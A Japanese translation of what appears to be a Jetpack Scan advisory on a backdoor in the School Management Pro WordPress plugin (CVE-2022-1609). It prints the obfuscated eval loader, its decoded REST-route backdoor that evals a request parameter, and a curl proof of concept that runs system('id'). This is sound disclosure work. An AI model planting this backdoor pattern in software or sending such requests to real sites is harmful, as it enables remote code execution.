WordPress用のSchoolManagementProプラグインにあるバックドア

公開: 2022-05-20

WeblizarのWordPressプラグイン「TheSchoolManagementPro」の9.9.7より前のバージョンには、認証されていない攻撃者がプラグインがインストールされているサイトで任意のPHPコードを実行できるようにするバックドアが含まれています。 以前のバージョンがサイトにインストールされている場合は、すぐにバージョン9.9.7以降にアップグレードすることをお勧めします。 これは重大なセキュリティ問題です。

詳細については、以下をお読みください。

詳細:

  • プラグイン名:School Management Pro
  • プラグインスラッグ: school-management-proschool-management-pro-9.9.6school-management-pro-9.9.5the-school-managementなど
  • ベンダー:Weblizar
  • 影響を受けるバージョン:<9.9.7
  • CVE:CVE-2022-1609
  • CVSSスコア:10.0(クリティカル)
  • CVSSベクトル:CVSS:3.1 / AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H
  • WPVULNDB:https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

ここJetpackScanでの仕事の一部は、ホストしているサイトで見つかった疑わしいファイルをチェックすることで、ホストされているWordPressビジネスをサポートすることです。 通常、これは、ファイルに署名の1つがフラグが付けられているか、サイトの所有者が疑わしいものを見つけて意見を求めていることが原因です。 物事の性質と同様に、これらのファイルは良性である場合もあれば、誤検知である場合もあります。また、適切に分類するためにより多くの作業が必要な新しいマルウェア株またはバリエーションである場合もあります。

しかし、時々、私たちが得るものは、すべて一緒にもっと面白いものになります。

数週間前、そのような事件が1件発生しました。 WordPress.comのエスカレーションされたサポートチームから、いくつかのサイトのプラグインで見つかった、わかりにくい、明らかに悪意のあるコードについて連絡がありました。

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

些細な難読化解除を2回行った後、次のようになります。

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

コード自体はそれほど興味深いものではありません。プラグインのライセンスチェックコードに挿入された明らかなバックドアです。 以下の概念実証に見られるように、攻撃者はプラグインがインストールされたサイトで任意のPHPコードを実行できます。

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

これは、ヌルのプラグインでよく見られる種類のことです。 これは非常に頻繁に発生するため、以前の投稿ですでに取り上げた同様のケースがあります。 私たちの最初の仮定は、これがここでも当てはまるということでした。 サイトの所有者は、怪しげなソースからプラグインをインストールしていました。

ただし、インストールされたプラグインはベンダーから直接受け取ったものであることが保証されました。 これは、問題のあるコードが存在することを認識した後に削除したベンダーによってもすぐに確認されました。

バックドアがいつ注入されたか、どのバージョンが影響を受けるか、そもそもコードがプラグインにどのように組み込まれたかについて、ベンダーからより多くの情報を入手しようとしました。 ベンダーは、コードがいつ、どのようにソフトウェアに組み込まれたのかわからないと言っているため、この取り組みは成功していません。

ホストされているシステムにバックドアを含むバージョンは少なくとも8.9から見られますが、バックドアが最初に出現した時期に関する明確な情報がないため、9.9.7が影響を受ける前のバージョンを想定する必要があります。

多くの場合、バージョン番号を含むスラッグを使用する多くの異なるスラッグの下で動作するプラグインによって、問題の検出とアラートはさらに複雑になります。 私たちのホストされたシステムでは、少なくともこれらの亜種を見てきました。

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

WordPress.orgプラグインリポジトリの無料バージョンにはライセンスコードが含まれておらず、このバックドアの影響も受けません。

タイムライン

2022-05-04:エスカレートされたWordPress.comサポートチームは、挿入されたコードを発見し、その結果を分析および検証するためにJetpackScanに連絡します。 バックドアであることを確認した後、ベンダーに通知します。

2022-05-05:ベンダーは、挿入されたコードが実際に配布されていることを確認し、バックドアが削除されたバージョン9.9.7を提供します。 きれいであることを確認します。

2022-05-06:ベンダーは、バージョン9.9.7を顧客に積極的に配布し、更新するように促しています。

2022-05-10:ベンダーは、バックドアがいつ追加されたかを知っているかどうかについての追加の質問に回答しましたが、知らないと主張しています。 それらは、バックドアを含む以前のバージョン9.9.4を提供していました。

結論

SchoolManagementProの9.9.7より前のバージョンがインストールされているサイトはすぐにアップグレードすることをお勧めします。

Jetpackでは、お客様のWebサイトがこれらのタイプの脆弱性から保護されるように努めています。 悪意のあるファイルのスキャンとバックアップを含むサイトのセキュリティ計画を立てることをお勧めします。 Jetpack Securityは、サイトと訪問者の安全を確保するための優れたWordPressセキュリティオプションの1つです。

クレジット

この調査は、WordPress.comのエスカレーションされたサポートチームとNic Sevic、Thom Stackhouse、Joshua Goode、およびJetpackScanとHaraldEilertsenとFioravanteCavallariの協力によるものです。 また、フィードバックと修正をしてくれたBenedictSingerにも感謝します。